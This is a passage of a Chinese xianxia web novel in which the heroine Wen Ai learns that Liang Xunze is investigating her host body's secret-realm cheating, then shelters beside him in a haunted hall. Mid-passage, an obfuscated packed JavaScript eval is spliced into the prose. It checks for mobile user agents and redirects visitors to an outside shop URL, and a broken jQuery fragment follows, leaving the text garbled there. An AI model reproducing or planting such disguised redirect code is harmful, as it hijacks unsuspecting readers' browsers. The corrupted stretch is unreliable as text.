让温艾莫名想起上一世曾听见白玉京的仙督盛赞梁巽泽,说他襟怀磊落、心底光明,有圣人之姿。 然而。 他这样一个圣人,却忽然眼皮一垂,像扯下了某张假面一般,毫无波澜地说道:“阿伞姑娘既然已经猜到,我也不妨打开天窗说亮话。” “其实,是师尊让我来调查你的。” 温艾:“?” 什、什么意思……是是是是绍宋? * 温艾自五雷轰顶的打击中回过神来,内心一片麻木,想不到自己几次三番在绍宋手底下死里逃生,却还是天网恢恢疏而不漏。 她呆呆地看着梁巽泽,俨然已经放弃挣扎了。 梁巽泽照常回视。 优越的身高,让他在远处看她时,眸光宛若松泉明月一般潺潺往下。 他波澜不惊道:“师尊早已注意到仙山存在多起秘境舞弊的案子,命我调查数月,我查到了主谋是外山的三个人,其中,行事最为猖獗、收获钱财最多的,应当是你。” “其实,早在很久以前,早到你不曾露出马脚的时候,我就已经留意到你了,阿伞姑娘。” 温艾本陷入呆滞,被梁巽泽最后一句“阿伞姑娘”猛然唤回了神。 啊? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408833|200632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梁巽泽合着是奔阿伞来的啊! 天菩萨,知道把她吓得有多严重吗?! 那一刻她甚至连骨灰往哪儿洒都想好了! 温艾勉强回过神来,将梁巽泽的话又咀嚼了一遍,而后甚是震惊。 不是。 阿伞小姑娘看起来平平无奇,原来如此不甘平庸吗? 背地里闹的风波,竟然能连绍宋都惊动了。 还能让绍宋派出最得意的一个徒弟来调查。 佩服佩服。 温艾内心不由叫苦不迭。 她本想这一世做个好人,奈何却找了一个恶人上身,可真是天公不作美,把人死里玩啊。 这事到如今怎么办,伏法认诛吗? “二……二师兄。” 温艾想了一回,还是决定不能坐以待毙。 她眉眼耷拉起来,看着便老实本分的眉眼,瞧着几分可怜、几分柔弱。 她颤巍巍地问道:“我犯的事,想必还可以挽救吧。若是够死刑了,二师兄又何必追来广烛殿内找我?” 梁巽泽看着她,似乎觉得她这个样子很有趣一般,眸中笑意越发深厚。 温艾看梁巽泽肯给几分好颜色,立马打蛇随棍上。 “这个案子,一定是还有我能帮得上忙的地方,对不对?” 梁巽泽盯她半晌,终于松口,“你说的不错。” 温艾立时问:“是什么!” 梁巽泽对待犯人也如对待座上贵宾那般优雅,温声道:“不着急,日后会让你知道的。” 日后? 阿伞小姑娘究竟是有什么过人之处,能让梁巽泽用得上? 温艾心里嘀咕了一阵,人为刀俎我为鱼肉,这个关头她也不想多事。她装出一副哈巴狗的模样,连连赔笑:“好的好的,二师兄想让我做什么,尽管说就是。” * 这广烛殿内阴森森的,恶鬼匍匐在墙壁上地面上,像癞蛤蟆一样随时随地会扑过来。 一只恶鬼蝙蝠一般飞扑过来。 被流光般的结界挡住。 噼里啪啦的动静,还是让温艾吓得浑身一颤。 温艾刚松了一口气,却又开始担心自己小命不保。 她小心翼翼看了梁巽泽一眼,小声问道:“神君神通广大,不可能让我死在这里的,对吧?” 梁巽泽眼中笑意弥漫,看了她两息,终于应声:“嗯,不会。” 温艾闻言,一颗心立刻放回了肚子里。 虽然梁巽泽手里捏着她的七寸,比起修罗恶鬼,没有好到什么地方去,她还是慢吞吞地往他身边挪了过去。 好歹梁巽泽有求于她,不会让她死掉。 至于梁巽泽自己会不会死在这里—— 梁巽泽是主角团之一。 又是温因铃要拥有的男人之一。 想必不会的。 温艾放宽心,挨在梁巽泽旁边,独自找了一处干净的地方抱腿坐下。 听见梁巽泽在一边捣腾瓶瓶罐罐的声音,她侧眸看过去一眼,发现梁巽泽松开了护腕,撩开了宽大如云的袍袖,皙白紧致的手臂上有一道刺目的淋漓红痕。 梁巽泽受伤了。 伤得还不轻。 正用一只左手,有些费劲地、狼狈地给自己上药。 然而那和她温艾又有什么关系? 温艾垂下眼睫,眸底一片凉薄。 虽然梁巽泽没有认出她,但她也不想和梁巽泽有太多的瓜葛。 不管梁巽泽要找她调查什么事情,她只有一个思路,狗命要紧。